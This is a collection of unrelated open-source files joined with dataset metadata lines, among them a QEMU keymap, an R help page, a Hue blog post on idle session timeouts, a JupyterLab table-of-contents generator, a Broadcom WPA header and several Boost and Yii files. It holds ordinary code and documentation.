# evdev 215 (0xd7): no evdev -> QKeyCode mapping (xkb keysym XF86Mail)
# evdev 216 (0xd8): no evdev -> QKeyCode mapping (xkb keysym XF86Messenger)
# evdev 217 (0xd9): no evdev -> QKeyCode mapping (xkb keysym XF86Search)
# evdev 218 (0xda): no evdev -> QKeyCode mapping (xkb keysym XF86Go)
# evdev 219 (0xdb): no evdev -> QKeyCode mapping (xkb keysym XF86Finance)
# evdev 220 (0xdc): no evdev -> QKeyCode mapping (xkb keysym XF86Game)
# evdev 221 (0xdd): no evdev -> QKeyCode mapping (xkb keysym XF86Shop)
# evdev 222 (0xde): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 223 (0xdf): no evdev -> QKeyCode mapping (xkb keysym Cancel)
# evdev 224 (0xe0): no evdev -> QKeyCode mapping (xkb keysym XF86MonBrightnessDown)
# evdev 225 (0xe1): no evdev -> QKeyCode mapping (xkb keysym XF86MonBrightnessUp)
# evdev 226 (0xe2), QKeyCode "mediaselect", number 0xed
XF86AudioMedia 0xed
# evdev 227 (0xe3): no evdev -> QKeyCode mapping (xkb keysym XF86Display)
# evdev 228 (0xe4): no evdev -> QKeyCode mapping (xkb keysym XF86KbdLightOnOff)
# evdev 229 (0xe5): no evdev -> QKeyCode mapping (xkb keysym XF86KbdBrightnessDown)
# evdev 230 (0xe6): no evdev -> QKeyCode mapping (xkb keysym XF86KbdBrightnessUp)
# evdev 231 (0xe7): no evdev -> QKeyCode mapping (xkb keysym XF86Send)
# evdev 232 (0xe8): no evdev -> QKeyCode mapping (xkb keysym XF86Reply)
# evdev 233 (0xe9): no evdev -> QKeyCode mapping (xkb keysym XF86MailForward)
# evdev 234 (0xea): no evdev -> QKeyCode mapping (xkb keysym XF86Save)
# evdev 235 (0xeb): no evdev -> QKeyCode mapping (xkb keysym XF86Documents)
# evdev 236 (0xec): no evdev -> QKeyCode mapping (xkb keysym XF86Battery)
# evdev 237 (0xed): no evdev -> QKeyCode mapping (xkb keysym XF86Bluetooth)
# evdev 238 (0xee): no evdev -> QKeyCode mapping (xkb keysym XF86WLAN)
# evdev 239 (0xef): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 240 (0xf0): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 241 (0xf1): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 242 (0xf2): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 243 (0xf3): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 244 (0xf4): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 245 (0xf5): no evdev -> QKeyCode mapping (xkb keysym NoSymbol)
# evdev 246 (0xf6): no evdev -> QKeyCode mapping (xkb keysym Invalid)
# evdev 247 (0xf7): no evdev -> QKeyCode mapping (xkb keysym Invalid)
#
# quirks section start
#
# Sometimes multiple keysyms map to the same keycodes.
# The keycode -> keysym lookup finds only one of the
# keysyms. So append them here.
#
Print 0x54
Sys_Req 0x54
Execute 0x54
KP_Decimal 0x53 numlock
KP_Separator 0x53 numlock
Alt_R 0xb8
ISO_Level3_Shift 0xb8
Mode_switch 0xb8
# quirks section end
| {
"pile_set_name": "Github"
} |
% Generated by roxygen2: do not edit by hand
% Please edit documentation in R/ts_plot.R
\name{ts_save}
\alias{ts_save}
\title{Save Previous Plot}
\usage{
ts_save(
filename = tempfile(fileext = ".pdf"),
width = 10,
height = 5,
device = NULL,
open = TRUE
)
}
\arguments{
\item{filename}{filename}
\item{width}{width}
\item{height}{height}
\item{device}{device}
\item{open}{logical, should the saved plot be opened?}
}
\description{
Save Previous Plot
}
| {
"pile_set_name": "Github"
} |
---
title: Introducing the New Login Modal and Idle Session Timeout
author: admin
type: post
date: 2016-06-13T18:31:02+00:00
url: /introducing-the-new-login-modal-and-idle-session-timeout/
sf_thumbnail_type:
- none
sf_thumbnail_link_type:
- link_to_post
sf_detail_type:
- none
sf_page_title:
- 1
sf_page_title_style:
- standard
sf_no_breadcrumbs:
- 1
sf_page_title_bg:
- none
sf_page_title_text_style:
- light
sf_background_image_size:
- cover
sf_social_sharing:
- 1
sf_sidebar_config:
- left-sidebar
sf_left_sidebar:
- Sidebar-2
sf_right_sidebar:
- Sidebar-1
sf_caption_position:
- caption-right
categories:
- Administration
---
With the latest release of Hue 3.10, we've added an additional security feature for Hue administrators to enforce and manage idle session timeouts in Hue. We've also improved the experience of re-authenticating into Hue when a user's session is timed out by introducing a new login modal.
Hue now offers a new property, `idle_session_timeout`, that can be configured in the hue.ini file:
<pre><code class="bash">
[desktop]
[[auth]]
idle_session_timeout=600
</code></pre>
When `idle_session_timeout` is set, users will automatically be logged out after N (e.g. - 600) seconds of inactivity and be prompted to login again:
[<img src="https://cdn.gethue.com/uploads/2016/06/Screenshot-2016-06-06-15.14.52-1024x553.jpg" />][1]
If a user's Hue session has timed out but the user still has an active Hive or Impala session open, a login modal will appear above the current view and allow the user to login and resume their current query session:
[<img src="https://cdn.gethue.com/uploads/2016/02/loginmodal.gif" />][2]
Setting the `idle_session_timeout` to a negative number means that idle sessions will not be timed out. By default, the `idle_session_timeout` is set to -1.
If you have any questions, feel free to comment here or on the [hue-user][3] list or [@gethue][4]
[1]: https://cdn.gethue.com/uploads/2016/06/Screenshot-2016-06-06-15.14.52.jpg
[2]: https://cdn.gethue.com/uploads/2016/02/loginmodal.gif
[3]: http://groups.google.com/a/cloudera.org/group/hue-user
[4]: https://twitter.com/gethue | {
"pile_set_name": "Github"
} |
#!/usr/bin/env php
<?php
/**
* Yii console bootstrap file.
*
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
*/
defined('YII_DEBUG') or define('YII_DEBUG', true);
$composerAutoload = [
__DIR__ . '/../vendor/autoload.php', // in yii2-dev repo
__DIR__ . '/../../autoload.php', // installed as a composer binary
];
$vendorPath = null;
foreach ($composerAutoload as $autoload) {
if (file_exists($autoload)) {
require($autoload);
$vendorPath = dirname($autoload);
break;
}
}
require(__DIR__ . '/Yii.php');
$application = new yii\console\Application([
'id' => 'yii-console',
'basePath' => __DIR__ . '/console',
'controllerNamespace' => 'yii\console\controllers',
]);
if (isset($vendorPath)) {
$application->setVendorPath($vendorPath);
}
$exitCode = $application->run();
exit($exitCode);
| {
"pile_set_name": "Github"
} |
m rn
rn m
m in
in m
d cl
cl d
nn rm
rm nn
n ri
ri n
li h
lr h
ii u
ii n
ni m
iii m
ll H
I-I H
vv w
VV W
t f
f t
a o
o a
e c
c e
rr n
E fi
l< k
ld ki
lx h
xn m
ux in
r t
d tl
di th
ur in
un im
u a
| {
"pile_set_name": "Github"
} |
// Copyright (C) 2003, Fernando Luis Cacciola Carballal.
// Copyright (C) 2007, Tobias Schwinger.
//
// Use, modification, and distribution is subject to the Boost Software
// License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/optional for documentation.
//
// You are welcome to contact the author at:
// [email protected]
//
#ifndef BOOST_UTILITY_INPLACE_FACTORY_04APR2007_HPP
#ifndef BOOST_PP_IS_ITERATING
#include <boost/utility/detail/in_place_factory_prefix.hpp>
namespace boost {
class in_place_factory_base {} ;
#define BOOST_PP_ITERATION_LIMITS (0, BOOST_MAX_INPLACE_FACTORY_ARITY)
#define BOOST_PP_FILENAME_1 <boost/utility/in_place_factory.hpp>
#include BOOST_PP_ITERATE()
} // namespace boost
#include <boost/utility/detail/in_place_factory_suffix.hpp>
#define BOOST_UTILITY_INPLACE_FACTORY_04APR2007_HPP
#else
#define N BOOST_PP_ITERATION()
#if N
template< BOOST_PP_ENUM_PARAMS(N, class A) >
#endif
class BOOST_PP_CAT(in_place_factory,N)
:
public in_place_factory_base
{
public:
explicit BOOST_PP_CAT(in_place_factory,N)
( BOOST_PP_ENUM_BINARY_PARAMS(N,A,const& a) )
#if N > 0
: BOOST_PP_ENUM(N, BOOST_DEFINE_INPLACE_FACTORY_CLASS_MEMBER_INIT, _)
#endif
{}
template<class T>
void* apply(void* address) const
{
return new(address) T( BOOST_PP_ENUM_PARAMS(N, m_a) );
}
template<class T>
void* apply(void* address, std::size_t n) const
{
for(char* next = address = this->BOOST_NESTED_TEMPLATE apply<T>(address);
!! --n;)
this->BOOST_NESTED_TEMPLATE apply<T>(next = next+sizeof(T));
return address;
}
BOOST_PP_REPEAT(N, BOOST_DEFINE_INPLACE_FACTORY_CLASS_MEMBER_DECL, _)
};
#if N > 0
template< BOOST_PP_ENUM_PARAMS(N, class A) >
inline BOOST_PP_CAT(in_place_factory,N)< BOOST_PP_ENUM_PARAMS(N, A) >
in_place( BOOST_PP_ENUM_BINARY_PARAMS(N, A, const& a) )
{
return BOOST_PP_CAT(in_place_factory,N)< BOOST_PP_ENUM_PARAMS(N, A) >
( BOOST_PP_ENUM_PARAMS(N, a) );
}
#else
inline in_place_factory0 in_place()
{
return in_place_factory0();
}
#endif
#undef N
#endif
#endif
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: a02a7d8c237544f1962732b55a9aebf1
ShaderImporter:
defaultTextures: []
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta name="generator" content="Doxygen 1.8.7"/>
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="all_0.js"></script>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div id="SRResults"></div>
<script type="text/javascript"><!--
createResults();
--></script>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
--></script>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
'use strict'
const resources = require('../resources')
module.exports = {
method: 'POST',
path: '/api/v0/shutdown',
...resources.shutdown
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) Jupyter Development Team.
// Distributed under the terms of the Modified BSD License.
import { ISanitizer } from '@jupyterlab/apputils';
import { CodeCell, CodeCellModel, MarkdownCell, Cell } from '@jupyterlab/cells';
import { INotebookTracker, NotebookPanel } from '@jupyterlab/notebook';
import { ISettingRegistry } from '@jupyterlab/settingregistry';
import { TableOfContentsRegistry as Registry } from '../../registry';
import { TableOfContents } from '../../toc';
import { isMarkdown } from '../../utils/is_markdown';
import { isDOM } from '../../utils/is_dom';
import { INotebookHeading } from '../../utils/headings';
import { OptionsManager } from './options_manager';
import { getCodeCellHeading } from './get_code_cell_heading';
import { getLastHeadingLevel } from './get_last_heading_level';
import { getMarkdownHeading } from './get_markdown_heading';
import { getRenderedHTMLHeading } from './get_rendered_html_heading';
import { appendHeading } from './append_heading';
import { appendMarkdownHeading } from './append_markdown_heading';
import { render } from './render';
import { toolbar } from './toolbar_generator';
/**
* Returns a ToC generator for notebooks.
*
* @private
* @param tracker - notebook tracker
* @param widget - table of contents widget
* @param sanitizer - HTML sanitizer
* @returns ToC generator capable of parsing notebooks
*/
function createNotebookGenerator(
tracker: INotebookTracker,
widget: TableOfContents,
sanitizer: ISanitizer,
settings?: ISettingRegistry.ISettings
): Registry.IGenerator<NotebookPanel> {
let collapsibleNotebooks = true;
if (settings) {
collapsibleNotebooks = settings.composite.collapsibleNotebooks as boolean;
}
const options = new OptionsManager(widget, tracker, {
numbering: false,
collapsibleNotebooks: collapsibleNotebooks,
sanitizer: sanitizer
});
return {
tracker,
usesLatex: true,
options: options,
toolbarGenerator: generateToolbar,
itemRenderer: renderItem,
generate: generate
};
/**
* Returns a toolbar generator.
*
* @private
* @returns toolbar generator
*/
function generateToolbar() {
return toolbar(options, tracker);
}
/**
* Renders a table of contents item.
*
* @private
* @param item - heading to render
* @returns rendered item
*/
function renderItem(item: INotebookHeading) {
return render(options, tracker, item);
}
/**
* Generates a table of contents.
*
* @private
* @param panel - notebook widget
* @returns a list of headings
*/
function generate(panel: NotebookPanel): INotebookHeading[] {
let headings: INotebookHeading[] = [];
let collapseLevel = -1;
let dict = {};
// Initialize a variable for keeping track of the previous heading:
let prev: INotebookHeading | null = null;
// Generate headings by iterating through all notebook cells...
for (let i = 0; i < panel.content.widgets.length; i++) {
let cell: Cell = panel.content.widgets[i];
let model = cell.model;
let collapsed = model.metadata.get('toc-hr-collapsed') as boolean;
collapsed = collapsed || false;
if (model.type === 'code') {
if (!widget || (widget && options.showCode)) {
const onClick = (line: number) => {
return () => {
panel.content.activeCellIndex = i;
cell.node.scrollIntoView();
};
};
let count = (cell as CodeCell).model.executionCount as number | null;
let executionCount = count !== null ? '[' + count + ']: ' : '[ ]: ';
let heading = getCodeCellHeading(
(model as CodeCellModel).value.text,
onClick,
executionCount,
getLastHeadingLevel(headings),
cell
);
[headings, prev] = appendHeading(
headings,
heading,
prev,
collapseLevel,
options.filtered
);
}
// Iterate over the code cell outputs to check for Markdown or HTML from which we can generate ToC headings...
for (let j = 0; j < (model as CodeCellModel).outputs.length; j++) {
const m = (model as CodeCellModel).outputs.get(j);
let dtypes = Object.keys(m.data);
dtypes = dtypes.filter(t => isMarkdown(t) || isDOM(t));
if (!dtypes.length) {
continue;
}
const onClick = (el: Element) => {
return () => {
panel.content.activeCellIndex = i;
panel.content.mode = 'command';
el.scrollIntoView();
};
};
let heading = getRenderedHTMLHeading(
(cell as CodeCell).outputArea.widgets[j].node,
onClick,
sanitizer,
dict,
getLastHeadingLevel(headings),
options.numbering,
cell
);
[headings, prev, collapseLevel] = appendMarkdownHeading(
heading,
headings,
prev,
collapseLevel,
options.filtered,
collapsed,
options.showMarkdown
);
}
continue;
}
if (model.type === 'markdown') {
let mcell = cell as MarkdownCell;
let heading: INotebookHeading | undefined;
let lastLevel = getLastHeadingLevel(headings);
// If the cell is rendered, generate the ToC items from the HTML...
if (mcell.rendered && !mcell.inputHidden) {
const onClick = (el: Element) => {
return () => {
if (!mcell.rendered) {
panel.content.activeCellIndex = i;
el.scrollIntoView();
} else {
panel.content.mode = 'command';
cell.node.scrollIntoView();
panel.content.activeCellIndex = i;
}
};
};
heading = getRenderedHTMLHeading(
cell.node,
onClick,
sanitizer,
dict,
lastLevel,
options.numbering,
cell
);
// If not rendered, generate ToC items from the cell text...
} else {
const onClick = (line: number) => {
return () => {
panel.content.activeCellIndex = i;
cell.node.scrollIntoView();
};
};
heading = getMarkdownHeading(
model!.value.text,
onClick,
dict,
lastLevel,
cell
);
}
[headings, prev, collapseLevel] = appendMarkdownHeading(
heading,
headings,
prev,
collapseLevel,
options.filtered,
collapsed,
options.showMarkdown
);
}
}
return headings;
}
}
/**
* Exports.
*/
export { createNotebookGenerator };
| {
"pile_set_name": "Github"
} |
/*
* Fundamental types and constants relating to WPA
*
* Copyright (C) 1999-2012, Broadcom Corporation
*
* Unless you and Broadcom execute a separate written software license
* agreement governing use of this software, this software is licensed to you
* under the terms of the GNU General Public License version 2 (the "GPL"),
* available at http://www.broadcom.com/licenses/GPLv2.php, with the
* following added to such license:
*
* As a special exception, the copyright holders of this software give you
* permission to link this software with independent modules, and to copy and
* distribute the resulting executable under terms of your choice, provided that
* you also meet, for each linked independent module, the terms and conditions of
* the license of that module. An independent module is a module which is not
* derived from this software. The special exception does not apply to any
* modifications of the software.
*
* Notwithstanding the above, under no circumstances may you combine this
* software in any way with any other Broadcom software provided under a license
* other than the GPL, without Broadcom's express prior written consent.
*
* $Id: wpa.h 261155 2011-05-23 23:51:32Z $
*/
#ifndef _proto_wpa_h_
#define _proto_wpa_h_
#include <typedefs.h>
#include <proto/ethernet.h>
#include <packed_section_start.h>
#define DOT11_RC_INVALID_WPA_IE 13
#define DOT11_RC_MIC_FAILURE 14
#define DOT11_RC_4WH_TIMEOUT 15
#define DOT11_RC_GTK_UPDATE_TIMEOUT 16
#define DOT11_RC_WPA_IE_MISMATCH 17
#define DOT11_RC_INVALID_MC_CIPHER 18
#define DOT11_RC_INVALID_UC_CIPHER 19
#define DOT11_RC_INVALID_AKMP 20
#define DOT11_RC_BAD_WPA_VERSION 21
#define DOT11_RC_INVALID_WPA_CAP 22
#define DOT11_RC_8021X_AUTH_FAIL 23
#define WPA2_PMKID_LEN 16
typedef BWL_PRE_PACKED_STRUCT struct
{
uint8 tag;
uint8 length;
uint8 oui[3];
uint8 oui_type;
BWL_PRE_PACKED_STRUCT struct {
uint8 low;
uint8 high;
} BWL_POST_PACKED_STRUCT version;
} BWL_POST_PACKED_STRUCT wpa_ie_fixed_t;
#define WPA_IE_OUITYPE_LEN 4
#define WPA_IE_FIXED_LEN 8
#define WPA_IE_TAG_FIXED_LEN 6
typedef BWL_PRE_PACKED_STRUCT struct {
uint8 tag;
uint8 length;
BWL_PRE_PACKED_STRUCT struct {
uint8 low;
uint8 high;
} BWL_POST_PACKED_STRUCT version;
} BWL_POST_PACKED_STRUCT wpa_rsn_ie_fixed_t;
#define WPA_RSN_IE_FIXED_LEN 4
#define WPA_RSN_IE_TAG_FIXED_LEN 2
typedef uint8 wpa_pmkid_t[WPA2_PMKID_LEN];
typedef BWL_PRE_PACKED_STRUCT struct
{
uint8 oui[3];
uint8 type;
} BWL_POST_PACKED_STRUCT wpa_suite_t, wpa_suite_mcast_t;
#define WPA_SUITE_LEN 4
typedef BWL_PRE_PACKED_STRUCT struct
{
BWL_PRE_PACKED_STRUCT struct {
uint8 low;
uint8 high;
} BWL_POST_PACKED_STRUCT count;
wpa_suite_t list[1];
} BWL_POST_PACKED_STRUCT wpa_suite_ucast_t, wpa_suite_auth_key_mgmt_t;
#define WPA_IE_SUITE_COUNT_LEN 2
typedef BWL_PRE_PACKED_STRUCT struct
{
BWL_PRE_PACKED_STRUCT struct {
uint8 low;
uint8 high;
} BWL_POST_PACKED_STRUCT count;
wpa_pmkid_t list[1];
} BWL_POST_PACKED_STRUCT wpa_pmkid_list_t;
#define WPA_CIPHER_NONE 0
#define WPA_CIPHER_WEP_40 1
#define WPA_CIPHER_TKIP 2
#define WPA_CIPHER_AES_OCB 3
#define WPA_CIPHER_AES_CCM 4
#define WPA_CIPHER_WEP_104 5
#define WPA_CIPHER_BIP 6
#define WPA_CIPHER_TPK 7
#ifdef BCMWAPI_WAI
#define WAPI_CIPHER_NONE WPA_CIPHER_NONE
#define WAPI_CIPHER_SMS4 11
#define WAPI_CSE_WPI_SMS4 1
#endif
#define IS_WPA_CIPHER(cipher) ((cipher) == WPA_CIPHER_NONE || \
(cipher) == WPA_CIPHER_WEP_40 || \
(cipher) == WPA_CIPHER_WEP_104 || \
(cipher) == WPA_CIPHER_TKIP || \
(cipher) == WPA_CIPHER_AES_OCB || \
(cipher) == WPA_CIPHER_AES_CCM || \
(cipher) == WPA_CIPHER_TPK)
#ifdef BCMWAPI_WAI
#define IS_WAPI_CIPHER(cipher) ((cipher) == WAPI_CIPHER_NONE || \
(cipher) == WAPI_CSE_WPI_SMS4)
#define WAPI_CSE_WPI_2_CIPHER(cse) ((cse) == WAPI_CSE_WPI_SMS4 ? \
WAPI_CIPHER_SMS4 : WAPI_CIPHER_NONE)
#define WAPI_CIPHER_2_CSE_WPI(cipher) ((cipher) == WAPI_CIPHER_SMS4 ? \
WAPI_CSE_WPI_SMS4 : WAPI_CIPHER_NONE)
#endif
#define WPA_TKIP_CM_DETECT 60
#define WPA_TKIP_CM_BLOCK 60
#define RSN_CAP_LEN 2
#define RSN_CAP_PREAUTH 0x0001
#define RSN_CAP_NOPAIRWISE 0x0002
#define RSN_CAP_PTK_REPLAY_CNTR_MASK 0x000C
#define RSN_CAP_PTK_REPLAY_CNTR_SHIFT 2
#define RSN_CAP_GTK_REPLAY_CNTR_MASK 0x0030
#define RSN_CAP_GTK_REPLAY_CNTR_SHIFT 4
#define RSN_CAP_1_REPLAY_CNTR 0
#define RSN_CAP_2_REPLAY_CNTRS 1
#define RSN_CAP_4_REPLAY_CNTRS 2
#define RSN_CAP_16_REPLAY_CNTRS 3
#ifdef MFP
#define RSN_CAP_MFPR 0x0040
#define RSN_CAP_MFPC 0x0080
#endif
#define WPA_CAP_4_REPLAY_CNTRS RSN_CAP_4_REPLAY_CNTRS
#define WPA_CAP_16_REPLAY_CNTRS RSN_CAP_16_REPLAY_CNTRS
#define WPA_CAP_REPLAY_CNTR_SHIFT RSN_CAP_PTK_REPLAY_CNTR_SHIFT
#define WPA_CAP_REPLAY_CNTR_MASK RSN_CAP_PTK_REPLAY_CNTR_MASK
#define WPA_CAP_PEER_KEY_ENABLE (0x1 << 1)
#define WPA_CAP_LEN RSN_CAP_LEN
#define WPA_PMKID_CNT_LEN 2
#define WPA_CAP_WPA2_PREAUTH RSN_CAP_PREAUTH
#define WPA2_PMKID_COUNT_LEN 2
#ifdef BCMWAPI_WAI
#define WAPI_CAP_PREAUTH RSN_CAP_PREAUTH
#define WAPI_WAI_REQUEST 0x00F1
#define WAPI_UNICAST_REKEY 0x00F2
#define WAPI_STA_AGING 0x00F3
#define WAPI_MUTIL_REKEY 0x00F4
#define WAPI_STA_STATS 0x00F5
#define WAPI_USK_REKEY_COUNT 0x4000000
#define WAPI_MSK_REKEY_COUNT 0x4000000
#endif
#include <packed_section_end.h>
#endif
| {
"pile_set_name": "Github"
} |
// (C) Copyright John Maddock 2012
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
// See http://www.boost.org/libs/config for more information.
// MACRO: BOOST_NO_CXX11_HDR_FUNCTIONAL
// TITLE: C++11 <functional> unavailable
// DESCRIPTION: The compiler does not support the C++11 features added to <functional>
#include <functional>
void f(int, float){}
namespace boost_no_cxx11_hdr_functional {
int test()
{
int i = 0;
std::ref(i);
std::cref(i);
std::bit_and<int> b1;
std::bit_or<int> b2;
std::bit_xor<int> b3;
std::hash<short> hs;
(void)b1;
(void)b2;
(void)b3;
(void)hs;
std::bind(f, std::placeholders::_1, 0.0f);
std::function<void(int, float)> fun(f);
return 0;
}
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.